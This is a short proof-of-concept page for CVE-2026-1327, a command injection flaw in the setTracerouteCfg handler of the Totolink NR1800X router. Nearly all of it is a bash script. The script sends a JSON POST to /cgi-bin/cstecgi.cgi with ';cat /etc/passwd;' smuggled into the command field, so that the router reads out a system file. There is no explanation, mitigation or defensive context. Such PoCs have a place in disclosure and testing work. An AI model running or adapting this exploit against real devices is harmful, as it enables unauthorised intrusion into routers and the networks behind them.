CVE-2026-1327 Totolink NR1800X setTracerouteCfg命令注入漏洞

#!/bin/bash # CVE-2026-1327 PoC - Totolink NR1800X Command Injection # Target: /cgi-bin/cstecgi.cgi TARGET="http://192.168.1.1" echo "[*] CVE-2026-1327 PoC for Totolink NR1800X" echo "[*] Vulnerability: Command Injection in setTracerouteCfg" # PoC to trigger the vulnerability - inject command to read /etc/passwd PAYLOAD='{"action":"setTracerouteCfg","command":";cat /etc/passwd;"}' echo "[+] Sending malicious POST request..." curl -s -X POST "$TARGET/cgi-bin/cstecgi.cgi" \ -H "Content-Type: application/json" \ -d "$PAYLOAD" \ -i | head -50 echo "" echo "[!] If vulnerable, /etc/passwd content should be displayed"